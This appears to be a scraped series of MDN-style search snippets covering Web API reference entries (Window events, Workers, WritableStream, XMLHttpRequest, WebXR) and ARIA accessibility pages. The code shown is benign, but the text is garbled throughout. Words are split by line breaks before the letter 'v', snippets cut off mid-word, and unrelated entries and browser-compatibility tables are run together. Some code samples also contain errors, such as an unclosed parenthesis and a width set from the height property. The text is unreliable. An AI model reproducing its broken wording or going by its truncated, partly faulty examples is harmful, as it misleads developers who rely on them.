... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20...
Window: afterprint event - Web APIs
the afterprint event is fired after the associated document has started printing or the print pre
view has been closed.
...o interface event event handler property onafterprint examples using addeventlistener(): window.addeventlistener('afterprint', (event) => { console.log('after print'); }); using the onafterprint event handler property: window.onafterprint = (event) => { console.log('after print'); }; specifications specification status html li
ving standard li
ving standard ...
Window.alert() - Web APIs
specification specification status comment html li
ving standardthe definition of 'alert()' in that specification.
... li
ving standard ...
Window: beforeprint event - Web APIs
the beforeprint event is fired when the associated document is about to be printed or pre
viewed for printing.
...o interface event event handler property onbeforeprint examples using addeventlistener(): window.addeventlistener('beforeprint', (event) => { console.log('before print'); }); using the onbeforeprint event handler property: window.onbeforeprint = (event) => { console.log('before print'); }; specifications specification status html li
ving standard li
ving standard ...
Window.blur() - Web APIs
specification specification status comment html li
ving standardthe definition of 'window.blur()' in that specification.
... li
ving standard ...
Window.close() - Web APIs
(firefox 46.0.1: scripts can not close windows, they had not opened) function closecurrentwindow() { window.close(); } specification specification status comment html li
ving standardthe definition of 'window.close()' in that specification.
... li
ving standard html5the definition of 'window.close()' in that specification.
Window.console - Web APIs
the window.console property returns a reference to the console object, which pro
vides methods for logging information to the browser's console.
... specifications specification status comment console api li
ving standard initial definition.
Window.crypto - Web APIs
this object allows web pages access to certain cryptographic related ser
vices.
... syntax var cryptoobj = window.crypto || window.mscrypto; // for ie 11 value an instance of the crypto interface, pro
viding access to general-purpose cryptography and a strong random-number generator.
Window.document - Web APIs
example console.log(window.document.title); specifications specification status comment html li
ving standardthe definition of 'window.document' in that specification.
... li
ving standard html5the definition of 'window.document' in that specification.
window.dump() - Web APIs
pri
vileged code can also use components.utils.reporterror and nsiconsoleser
vice to log messages to the error console/browser console.
...it is therefore ad
visable to either check this preference yourself or use a debugging preference of your own to make sure you don't send lots of debugging content to a user's console when they might not be interested in it at all.
Window.focus() - Web APIs
syntax window.focus() example if (clicked) { window.focus(); } specification specification status comment html li
ving standardthe definition of 'window.focus()' in that specification.
... li
ving standard ...
Window.frames - Web APIs
example var frames = window.frames; // or // var frames = window.parent.frames; for (var i = 0; i < frames.length; i++) { // do something with each subframe as frames[i] frames[i].document.body.style.background = "red"; } specifications specification status comment html li
ving standardthe definition of 'window.frames' in that specification.
... li
ving standard html5the definition of 'window.frames' in that specification.
Window.fullScreen - Web APIs
syntax isinfullscreen = windowref.fullscreen; with chrome pri
vileges, the property is read-write, otherwise it is read-only.
... bear in mind that if you try to set this property without chrome pri
vileges, it will not throw an exception and instead just silently fail.
Window.getDefaultComputedStyle() - Web APIs
in particular, to avoid the so called css history leak security issue, browsers may expressly "lie" about the used value for a link and always return values as if a user has never
visited the linked site, and/or limit the styles that can be applied using the :
visited pseudo-selector.
... see http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/ and http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-
vistited/ for details of the examples of how this is implemented.
Window: hashchange event - Web APIs
nterface hashchangeevent event handler onhashchange examples you can use the hashchange event in an addeventlistener method: window.addeventlistener('hashchange', function() { console.log('the hash has changed!') }, false); or use the onhashchange event handler property: function locationhashchanged() { if (location.hash === '#cool-feature') { console.log("you're
visiting a cool feature!"); } } window.onhashchange = locationhashchanged; specifications specification status comment html li
ving standardthe definition of 'hashchange' in that specification.
... li
ving standard initial definition ...
Window: languagechange event - Web APIs
es you can use the languagechange event in an addeventlistener method: window.addeventlistener('languagechange', function() { console.log('languagechange event detected!'); }); or use the onlanguagechange event handler property: window.onlanguagechange = function(event) { console.log('languagechange event detected!'); }; specification specification status html li
ving standardthe definition of 'languagechange' in that specification.
... li
ving standard ...
Window.length - Web APIs
example if (window.length) { // this is a document with subframes } specifications specification status comment html li
ving standardthe definition of 'window.length' in that specification.
... li
ving standard html5the definition of 'window.length' in that specification.
Window: load event - Web APIs
working draft html li
ving standardthe definition of 'load event' in that specification.
... li
ving standard this links to the section in the steps that are carried out at the end of loading a document.
Window.minimize() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetminimize non-standardchrome no support noedge no support nofirefox no support noie ?
... web
view android no support nochrome android no support nofirefox android no support noopera android ?
Window.onbeforeinstallprompt - Web APIs
the window.onbeforeinstallprompt property is an event handler for processing a beforeinstallprompt, which is dispatched on de
vices when a user is about to be prompted to "install" a web application.
... window.addeventlistener("beforeinstallprompt", function(beforeinstallpromptevent) { beforeinstallpromptevent.preventdefault(); // prevents immediate prompt display // shows prompt after a user clicks an "install" button installbutton.addeventlistener("click", function(mouseevent) { // you should not use the mouseevent here, ob
viously beforeinstallpromptevent.prompt(); }); installbutton.hidden = false; // make button operable }); ...
Window.opener - Web APIs
specifications specification status comment html li
ving standardthe definition of 'window.opener' in that specification.
... li
ving standard ...
Window.orientation - Web APIs
summary returns the orientation in degrees (in 90-degree increments) of the
viewport relative to the de
vice's natural orientation.
... li
ving standard ...
Window.parent - Web APIs
syntax var parentwindow = window.parent; example if (window.parent != window.top) { // we're deeper than one down } specifications specification status comment html li
ving standardthe definition of 'window.parent' in that specification.
... li
ving standard ...
Window: rejectionhandled event - Web APIs
handler property onrejectionhandled example you can use the rejectionhandled event to log promises that get rejected to the console, along with the reasons why they were rejected: window.addeventlistener("rejectionhandled", event => { console.log("promise rejected; reason: " + event.reason); }, false); specifications specification status comment html li
ving standardthe definition of 'rejectionhandled' in that specification.
... li
ving standard initial definition.
Window.releaseEvents() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreleaseevents deprecatednon-standardchrome full support yesedge full support 12firefox full support yesie ?
... opera full support yessafari full support yesweb
view android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown compatibility unknownnon-standar...
Window.restore() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrestorechrome no support noedge no support nofirefox no support noie ?
... web
view android no support nochrome android no support nofirefox android no support noopera android ?
Window.routeEvent() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrouteevent deprecatednon-standardchrome no support noedge no support nofirefox no support noie ?
... web
view android no support nochrome android no support nofirefox android no support noopera android ?
Window.scrollTo() - Web APIs
examples window.scrollto(0, 1000); using options: window.scrollto({ top: 100, left: 100, beha
vior: 'smooth' }); notes window.scroll() is effectively the same as this method.
... specifications specification status comment css object model (cssom)
view modulethe definition of 'window.scroll()' in that specification.
Window.self - Web APIs
thermore, when executing in the active document of a browsing context, window is a reference to the current global object and thus all of the following are equivalent: var w1 = window; var w2 = self; var w3 = window.window; var w4 = window.self; // w1, w2, w3, w4 all strictly equal, but only w2 will function in workers specifications specification status comment html li
ving standardthe definition of 'window.self' in that specification.
... li
ving standard no difference from the latest snapshot html 5.1 html 5.1the definition of 'window.self' in that specification.
Window.setCursor() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsetcursor non-standardchrome no support noedge no support nofirefox no support noie ?
... web
view android no support nochrome android no support nofirefox android no support noopera android ?
Window.showModalDialog() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetshowmodaldialog deprecatednon-standardchrome no support ?
... nofirefox no support 3 — 56ie full support 4opera no support nosafari full support 5.1notes full support 5.1notes notes see webkit bug 151885 for possible future removal from safari.web
view android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosamsung internet android no...
Window.sidebar - Web APIs
addsearchpro
vider(descriptionurl) dummy function; does nothing.
... issearchpro
viderinstalled(descriptionurl) indicates if a specific search pro
vider (opensearch) is installed.
Window.status - Web APIs
syntax window.status = string; var value = window.status; specifications specification status comment html li
ving standardthe definition of 'window.status' in that specification.
... li
ving standard ...
Window: storage event - Web APIs
console.log(json.parse(window.localstorage.getitem('samplelist'))); }; specifications specification status html li
ving standardthe definition of 'storage' in that specification.
... li
ving standard ...
Window.top - Web APIs
specifications specification status comment html li
ving standardthe definition of 'window.top' in that specification.
... li
ving standard html5the definition of 'window.top' in that specification.
Window.updateCommands() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetupdatecommands non-standardchrome no support noedge no support nofirefox full support yesie ?
... web
view android no support nochrome android no support nofirefox android full support yesopera android ?
WindowEventHandlers.onbeforeprint - Web APIs
var mediaquerylist = window.matchmedia('print'); mediaquerylist.addlistener(function(mql) { if(mql.matches) { console.log('webkit equivalent of onbeforeprint'); } }); specification specification status comment html li
ving standardthe definition of 'onbeforeprint' in that specification.
... li
ving standard ...
WindowEventHandlers.onrejectionhandled - Web APIs
}); window.onrejectionhandled = function(event) { ...}; example window.onrejectionhandled = function(e) { console.log(e.reason); } specifications specification status comment html li
ving standardthe definition of 'onrejectionhandled' in that specification.
... li
ving standard initial definition.
WindowEventHandlers.onstorage - Web APIs
window.onstorage = function(e) { console.log('the ' + e.key + ' key has been changed from ' + e.oldvalue + ' to ' + e.newvalue + '.'); }; specifications specification status comment html li
ving standardthe definition of 'onstorage' in that specification.
... li
ving standard ...
WindowEventHandlers.onunhandledrejection - Web APIs
window.onunhandledrejection = function(e) { console.log(e.reason); } specifications specification status comment html li
ving standardthe definition of 'onunhandledrejection' in that specification.
... li
ving standard initial definition.
WindowEventHandlers.onunload - Web APIs
specifications specification status comment html li
ving standardthe definition of 'onunload' in that specification.
... li
ving standard html 5.1the definition of 'globaleventhandlers' in that specification.
WindowOrWorkerGlobalScope.queueMicrotask() - Web APIs
if (typeof window.queuemicrotask !== "function") { window.queuemicrotask = function (callback) { promise.resolve() .then(callback) .catch(e => settimeout(() => { throw e; })); // report exceptions }; } specifications specification status comment html li
ving standardthe definition of 'self.queuemicrotask()' in that specification.
... li
ving standard initial definition ...
Worker: messageerror event - Web APIs
y onmessageerror examples create a worker, and listen for message and messageerror events using addeventlistener(): // inside main.js const worker = new worker("static/scripts/worker.js"); worker.addeventlistener("message", (event) => { console.error(`received message from worker: ${event}`); }); worker.addeventlistener("messageerror", (event) => { console.error(`error recei
ving message from worker: ${event}`); }); the same, but using the onmessageerror event handler property: // inside main.js const worker = new worker("static/scripts/worker.js"); worker.onmessage = (event) => { console.error(`received message from worker: ${event}`); }; worker.onmessageerror = (event) => { console.error(`error recei
ving message from worker: ${event}`); }; specifications...
... specification status html li
ving standard li
ving standard ...
Worker.onmessage - Web APIs
specifications specification status comment html li
ving standardthe definition of 'worker.onmessage' in that specification.
... li
ving standard ...
Worker.onmessageerror - Web APIs
}; specifications specification status comment html li
ving standardthe definition of 'onmessageerror' in that specification.
... li
ving standard ...
Worker.terminate() - Web APIs
var myworker = new worker('worker.js'); myworker.terminate(); specifications specification status comment html li
ving standardthe definition of 'worker.terminate()' in that specification.
... li
ving standard ...
WorkerGlobalScope: languagechange event - Web APIs
es you can use the languagechange event in an addeventlistener method: worker.addeventlistener('languagechange', function() { console.log('languagechange event detected!'); }); or use the onlanguagechange event handler property: worker.onlanguagechange = function(event) { console.log('languagechange event detected!'); }; specification specification status html li
ving standardthe definition of 'languagechange' in that specification.
... li
ving standard ...
WorkerGlobalScope.onerror - Web APIs
}; example the following code snippet shows an onerror handler set inside a worker: self.onerror = function() { console.log('there is an error inside your worker!'); } specifications specification status comment html li
ving standardthe definition of 'workerglobalscope.onerror' in that specification.
... li
ving standard ...
WorkerGlobalScope.onlanguagechange - Web APIs
}; example the following code snippet shows an onlanguagechange handler set inside a worker: self.onlanguagechange = function() { console.log('your preferred language settings have been changed'); } specifications specification status comment html li
ving standardthe definition of 'workerglobalscope.onlanguagechange' in that specification.
... li
ving standard ...
WorkerGlobalScope.onoffline - Web APIs
}; example the following code snippet shows an onoffline handler set inside a worker: self.onoffline = function() { console.log('your worker is now offline'); } specifications specification status comment html li
ving standardthe definition of 'workerglobalscope.onoffline' in that specification.
... li
ving standard ...
WorkerGlobalScope.ononline - Web APIs
}; example the following code snippet shows an ononline handler set inside a worker: self.ononline = function() { console.log('your worker is now online'); } specifications specification status comment html li
ving standardthe definition of 'workerglobalscope.ononline' in that specification.
... li
ving standard ...
WritableStream.abort() - Web APIs
syntax var promise = writablestream.abort(reason); parameters reason a domstring pro
viding a human-readable reason for the abort.
... li
ving standard initial definition.
WritableStream.getWriter() - Web APIs
tten"); }) .catch((err) => { console.log("stream error:", err); }); } const decoder = new textdecoder("utf-8"); const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var
view = new uint16array(buffer);
view[0] = chunk; var decoded = decoder.decode(
view, { stream: true }); var listitem = document.createelement('li'); listitem.textcontent = "chunk decoded: " + decoded; list.appendchild(listitem); result += decoded; resolve(); }); }, close() { var listitem = document.createelement('li'); listitem.textcontent = "...
... li
ving standard initial definition.
WritableStreamDefaultWriter.desiredSize - Web APIs
the value will be null if the stream cannot be successfully written to (due to either being errored, or ha
ving an abort queued up), and zero if the stream is closed.
... li
ving standard initial definition.
WritableStreamDefaultWriter.write() - Web APIs
tten"); }) .catch((err) => { console.log("stream error:", err); }); } const decoder = new textdecoder("utf-8"); const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var
view = new uint16array(buffer);
view[0] = chunk; var decoded = decoder.decode(
view, { stream: true }); var listitem = document.createelement('li'); listitem.textcontent = "chunk decoded: " + decoded; list.appendchild(listitem); result += decoded; resolve(); }); }, close() { var listitem = document.createelement('li'); listitem.textcontent = "...
... li
ving standard initial definition.
WritableStreamDefaultWriter - Web APIs
) .catch((err) => { console.log("stream error:", err); }); } const decoder = new textdecoder("utf-8"); const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var
view = new uint16array(buffer);
view[0] = chunk; var decoded = decoder.decode(
view, { stream: true }); var listitem = document.createelement('li'); listitem.textcontent = "chunk decoded: " + decoded; list.appendchild(listitem); result += decoded; resolve(); }); }, close() { var listitem = document.createelement('li'); listitem.tex...
... li
ving standard initial definition.
XMLDocument - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="1...
... li
ving standard no changes.
XMLHttpRequest.getResponseHeader() - Web APIs
if there are multiple response headers with the same name, then their values are returned as a single concatenated string, where each value is separated from the pre
vious one by a pair of comma and space.
... li
ving standard whatwg li
ving standard ...
XMLHttpRequest.open() - Web APIs
if true, notification of a completed transaction is pro
vided using event listeners.
... li
ving standard whatwg li
ving standard ...
XMLHttpRequest.openRequest() - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... this mozilla-specific method is available only from within pri
vileged code, and is only called from a c++ context in order to initialize an xmlhttprequest.
XMLHttpRequest.send() - Web APIs
in file uploads) is by using an arraybuffer
view or blob in conjunction with the send() method.
... li
ving standard whatwg li
ving standard ...
XMLHttpRequest.timeout - Web APIs
timeout shouldn't be used for synchronous xmlhttprequests requests used in a document en
vironment or it will throw an invalidaccesserror exception.
...}; xhr.send(null); specifications specification status comment xmlhttprequest li
ving standard whatwg li
ving standard ...
XPathEvaluator.evaluate() - Web APIs
wrong_document_err if the pro
vided context node is from a document that is not supported by the xpathevaluator, a domexception of type wrong_document_err is raised.
... not_supported_err if the pro
vided context node is not a type permitted as an xpath context node or the request type is not permitted by the xpathevaluator, a domexception of type not_supported_err is raised.
XPathExpression.evaluate() - Web APIs
wrong_document_err if the pro
vided context node is from a document that is not supported by the xpathevaluator, a domexception of type wrong_document_err is raised.
... not_supported_err if the pro
vided context node is not a type permitted as an xpath context node or the request type is not permitted by the xpathevaluator, a domexception of type not_supported_err is raised.
XRFrame.getPose() - Web APIs
for example, to get the position of a controller relative to the
viewer's head, you would compare the controller's gripspace to the xrreferencespace of type
viewer.
... specifications specification status comment webxr de
vice apithe definition of 'xrframe.getpose()' in that specification.
XRInputSourceArray.keys() - Web APIs
examples this example snippet gets the list of inputs for a session and tries to handle each type of input de
vice it supports using.
... specifications specification status comment webxr de
vice apithe definition of 'xrinputsourcearray' in that specification.1 working draft xrinputsourcearray interface [1] see iterator-like methods in information contained in a webidl file for information on how an iterable declaration in an interface definition causes entries(), foreach(), keys(), and values() methods to be exposed from objects that implement the interface.
XRInputSourceArray - Web APIs
each entry is an xrinputsource representing one input de
vice connected to the webxr system.
... let sources = xrsession.inputsources; if (sources.length > 0) { handleinput(sources[0]); } examples specifications specification status comment webxr de
vice apithe definition of 'xrinputsourcearray' in that specification.
XRInputSourceEvent() - Web APIs
the xrinputsourceevent() constructor creates and returns a new xrinputsourceevent object describing an event (state change) which has occurred on a webxr user input de
vice represented by an xrinputsource.
... xrsession.addeventlistener("select", event => { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { let hit = myhittest(targetraypose.transform); if (hit) { /* handle the hit */ } } }); specifications specification status comment webxr de
vice apithe definition of 'xrinputsourceevent' in that specification.
XRInputSourcesChangeEventInit.session - Web APIs
syntax let inputsourceseventinit = { session: xrsession, added: [newde
vice1, ..., newde
vicen], removed: [removedde
vice1, ..., newde
vicen], }; myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", inputsourceseventinit); myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", { session: xrsession, added: addedde
vicelist, removed: removedde
vicelist }); value an xrsession indicating the webxr session to which the input source list change applies.
... specifications specification status comment webxr de
vice apithe definition of 'xrinputsourceschangeeventinit.session' in that specification.
XRReferenceSpace.onreset - Web APIs
the xrreferencespace interface's onreset event handler property can be set to a function which is called when the xrreferencespace receives a reset event, signaling that the xr de
vice has experienced a discontinuity large enough to require that the position and/or orientation of the origin be significantly altered to compensate.
... specifications specification status comment webxr de
vice apithe definition of 'onreset' in that specification.
XRReferenceSpaceEventInit.transform - Web APIs
syntax let eventinitdict = { referencespace: xrreferencespace, transform: xrrigidtransform }); value an xrrigidtransform object pro
viding a transform that can be used to convert coordinates from the pre-event coordinate system to the post-event coordinate system.
... let refspaceevent = new xrreferencespaceevent("reset", { referencespace: myrefspace, transform: mytransform }); specifications specification status comment webxr de
vice apithe definition of 'xrreferencespaceeventinit.transform' in that specification.
XRReferenceSpaceEventInit - Web APIs
the xrreferencespaceeventinit dictionary is used when calling the xrreferencespaceevent() constructor to pro
vide the values for its properties.
... let refspaceevent = new xrreferencespaceevent("reset", { referencespace: myrefspace, transform: mytransform }); specifications specification status comment webxr de
vice apithe definition of 'xrreferencespaceeventinit' in that specification.
XRRenderState.baseLayer - Web APIs
the read-only baselayer property of the xrrenderstate interface returns the xrwebgllayer instance that is the source of bitmap images and a description of how the image is to be rendered in the de
vice.
... specifications specification status comment webxr de
vice apithe definition of 'xrrenderstate.baselayer' in that specification.
XRRigidTransform.matrix - Web APIs
the values are stored into the array in column-major order; that is, each column is written into the array top-down before mo
ving to the right one column and writing the next column into the array.
... let transform = new xrrigidtransform( {x: 0, y: 0.5, z: 0.5}, {x: 0, y: -0.5, z: -0.5, w: 1}); drawglobject("magic-lamp", transform.matrix); specifications specification status comment webxr de
vice apithe definition of 'xrrigidtransform.matrix' in that specification.
XRRigidTransform.orientation - Web APIs
syntax let orientation = xrrigidtransform.orientation; value a dompointreadonly object which contains a unit quaternion pro
viding the orientation component of the transform.
... specifications specification status comment webxr de
vice apithe definition of 'xrrigidtransform.orientation' in that specification.
XRSession.oninputsourceschange - Web APIs
the list itself is accessible
via xrsession.inputsources.
...} example xrsession.oninputsourceschange = function(event) { console.log("the list of active xr input sources has changed.") } specifications specification status comment webxr de
vice apithe definition of 'xrsession.oninputsourceschange' in that specification.
XRSession.onselect - Web APIs
example this example handles select event which occur on the user's main hand (as given by a user object's handedness property); if that value matches the value of the xrinputsource property handedness, we know that the de
vice is held in the user's main hand.
... => { let source = event.inputsource; if (source.handedness == user.handedness) { if (source.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(source.targetrayspace, myrefspace); if (targetraypose) { myhandleselectwithray(targetraypose); } } } }; specifications specification status comment webxr de
vice apithe definition of 'xrsession.onselect' in that specification.
XRSession.onselectstart - Web APIs
for example, this might include pressing a button or mo
ving a joystick.
...} example xrsession.onselectstart = function(event) { console.log("the user has started a primary action, but might not have completed it.") } specifications specification status comment webxr de
vice apithe definition of 'xrsession.onselectstart' in that specification.
XRSession.onsqueezestart - Web APIs
the xrsession interface's onsqueezestart event handler property can be set to a function which is then invoked to handle the squeezestart event that's sent when the user successfully begins a primary squeeze action on a webxr input de
vice.
... xrsession.onsqueezestart = event => { if (event.inputsource.handedness == user.handedness) { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace; if (targetraypose) { user.heldobject = findobjectusingray(targetraypose.transform); } } }; specifications specification status comment webxr de
vice apithe definition of 'xrsession.onsqueezestart' in that specification.
XRSession: select event - Web APIs
examples of comon kinds of primary action are users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a
video tracking system or handheld controller with an accelerometer.
...he event: xrsession.onselect = event => { if (event.inputsource.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { myhandleselectwithray(targetraypose.transform); } } }; specifications specification status comment webxr de
vice apithe definition of 'select event' in that specification.
XRSession: squeezestart event - Web APIs
upon recei
ving a squeeze event, the mydropobject() function is called with the target object and the current target ray pose transform as inputs.
...ose.matrix); break; } } you can of course also set up a handler these events by setting the xrsession object's onsqueezeend event handler property to a function that handles the event: xrsession.onsqueezestart = onsqueezeevent; xrsession.onsqueeze = onsqueezeevent; xrsession.onsqueezeend = onsqueezeevent; specifications specification status comment webxr de
vice apithe definition of 'squeezestart event' in that specification.
XRSessionEvent.session - Web APIs
xrsession.addeventlistener("
visibilitychange", e => { switch(e.session.
visibilitystate) { case "hidden": myenablerendering(true); break; case "
visible": case "
visible-blurred": myenablerendering(false); break; } }); this calls a function that reacts to the session's
visibility state change.
... specifications specification status comment webxr de
vice apithe definition of 'xrsessionevent.session' in that specification.
XRSessionEventInit - Web APIs
the xrsessioneventinit dictionary is used when calling the xrsessionevent() constructor to pro
vide the new event's initial values.
... examples <tbd> specifications specification status comment webxr de
vice apithe definition of 'xrsessioneventinit' in that specification.
XRWebGLLayer.framebufferHeight - Web APIs
syntax let bufferheight = xrwebgllayer.framebufferheight; value the height in pixels of the xr de
vice's framebuffer.
... let gllayer = xrsession.renderstate.baselayer; gl.bindframebuffer(gl.framebuffer, gllayer.framebuffer); framewidth = gllayer.framebufferheight; frameheight = gllayer.framebufferheight; specifications specification status comment webxr de
vice apithe definition of 'xrwebgllayer.framebufferheight' in that specification.
XRWebGLLayer.framebufferWidth - Web APIs
syntax let bufferwidth = xrwebgllayer.framebufferwidth; value the width in pixels of the xr de
vice's framebuffer.
... let gllayer = xrsession.renderstate.baselayer; gl.bindframebuffer(gl.framebuffer, gllayer.framebuffer); framewidth = gllayer.framebufferwidth; frameheight = gllayer.framebufferheight; specifications specification status comment webxr de
vice apithe definition of 'xrwebgllayer.framebufferwidth' in that specification.
XRWebGLLayer.ignoreDepthValues - Web APIs
usage notes when the ignoredepthvalues property is false, the xr compositor uses the values found in the depth buffer, which should be accurate for the scene, in order to potentially improve the quality or the output as well as the comfort level for the
viewer.
...this is demonstrated in the snippet of code below: const gllayeroptions = { ignoredepthvalues: true }; let gllayer = new xrwebgllayer(xrsession, gl, gllayeroptions); specifications specification status comment webxr de
vice apithe definition of 'xrwebgllayer.ignoredepthvalues' in that specification.
XRWebGLLayerInit.depth - Web APIs
when using the xrwebgllayer() constructor to create a new webgl rendering layer for webxr, pro
viding as the layerinit parameter an object whose depth property is false will request that the new layer be created without a depth buffer.
... xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, { depth: false }); }); specifications specification status comment webxr de
vice apithe definition of 'xrwebgllayerinit.depth' in that specification.
XRWebGLLayerInit.ignoreDepthValues - Web APIs
the xrwebgllayerinit dictionary's boolean ignoredepthvalues property can be pro
vided in the options passed into the xrwebgllayer() constructor to indicate that the depth buffer, if it exists, should be ignored while composing the scene.
... xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, { alpha: false, ignoredepthvalues: true }); }); specifications specification status comment webxr de
vice apithe definition of 'xrwebgllayerinit.ignoredepthvalues' in that specification.
XRWebGLLayerInit.stencil - Web APIs
when using the xrwebgllayer() constructor to create a new webgl rendering layer for webxr, pro
viding as the layerinit parameter an object whose stencil property is false requests that the new layer be created without a stencil buffer.
... xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, { stencil: false }); }); specifications specification status comment webxr de
vice apithe definition of 'xrwebgllayerinit.stencil' in that specification.
XSLT Basic Example - Web APIs
processing instruction, it links to the xslt stylesheet (example.xsl)
via its href attribute.
...the template that matches the root node outputs the article's title and then says to process all templates (
via apply-templates) that match author nodes which are children of the authors node.
XSL Transformations in Mozilla FAQ - Web APIs
ha
ving xslt stylesheet specific to particular media would require to retransform the original xml source, which counteracts the expectations of the user.
... original document information author(s): axel hecht last updated date: february 2, 2005 copyright information: portions of this content are © 1998–2006 by indi
vidual mozilla.org contributors; content available under a creative commons license ...
msWriteProfilerMark - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... notes mswriteprofilermark enables you to inject dom based performance markers in addition to existing javascript api to learn exactly when parts of the page are being rendered, building a waterfall
view for every one of our impressions showing latency per object, which can be useful for more accurately debugging real users perf issues.
ARIA guides - Accessibility
error handling in forms labeling widgets labeling composite widgets and regions managing focus in composite widgets (aria-activedescendant vs ro
ving tabindex) using landmark roles handling dynamic updates & live regions
virtual vs.
... non
virtual mode in at products using drag & drop notifying users of non-aria screen readers fixing structure with presentation role hiding layout tables managing modal and non modal dialogs using aria with html5 how to test aria aria on mobile de
vices ...
Using the aria-valuemax attribute - Accessibility
if the aria-valuenow has a known maximum and minimum, the author should pro
vide properties for aria-valuemax and aria-valuemin.
...the information pro
vided above is one of those opinions and therefore not normative.
Using the aria-valuemin attribute - Accessibility
if the aria-valuenow has a known maximum and minimum, the author should pro
vide properties for aria-valuemax and aria-valuemin.the value of aria-valuemin must be less than or equal to the value of aria-valuemax.
...the information pro
vided above is one of those opinions and therefore not normative.
Using the aria-valuenow attribute - Accessibility
when the rendered value cannot be accurately represented as a number, authors should use the aria-valuetext attribute in conjunction with aria-valuenow to pro
vide a user-friendly representation of the range's current value.
...the information pro
vided above is one of those opinions and therefore not normative.
Using the slider role - Accessibility
the information pro
vided above is one of those opinions and therefore not normative.
...in these cases, the aria-valuetext attribute is used to pro
vide the appropriate text name for the currently selected value.
ARIA: article role - Accessibility
</article> description the article role denotes a section of a document, page, or site that, if it were standing on its own, could be
viewed as a complete document, page or site.
... articles are not considered a na
vigational landmark, but many assistive technologies that support landmarks also support a means to na
vigate among articles.
ARIA: banner role - Accessibility
associated aria roles, states, and properties none keyboard interactions none required javascript features none examples here's a fake simple banner with a skip to na
vigation link, a logo, a title and a subtitle.
... <div role="banner"> <a href="#nav" id="skiptomenu" class="skiptocontent">skip to keyboard na
vigation</a> <img src="images/w3c.png" alt="w3c logo"> <h1>aria landmarks</h1> <p>identifying page subsections for easy na
vigation</p> </div> we could also have written the above with the html header element: <header> <a href="#nav" id="skiptomenu" class="skiptocontent">skip to keyboard na
vigation</a> <img src="images/w3c.png" alt="w3c logo"> <h1>aria landmarks</h1> <p>identifying page subsections for easy na
vigation</p> </header> best practices while it is best to use the header element and ensure it is not a descendant of any subsection of the page, sometimes you don't have a...
ARIA: Suggestion role - Accessibility
</p> we could even pro
vide an information box saying who made the suggestion and when, and associate it with the suggestion
via aria-details: <p>freida’s pet is a <span role="suggestion" aria-details="comment-source"> <span role="deletion">black cat called luna</span> <span role="insertion">purple tyrannosaurus rex called tiny</span> </span>.
... </p> <div id="comment-source">suggested by chris, <time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></div> browsers tend to pro
vide a default black strikethrough for deletions, and a black underline for insertions, but you’ll probably want to use accessibility concerns landmark roles are intended to be used sparingly, to identify larger overall sections of the document.
Accessibility and Spacial Patterns - Accessibility
they tend to "float"
visually or be "captured" by adjacent symbols with high luminance-contrast.
... they re
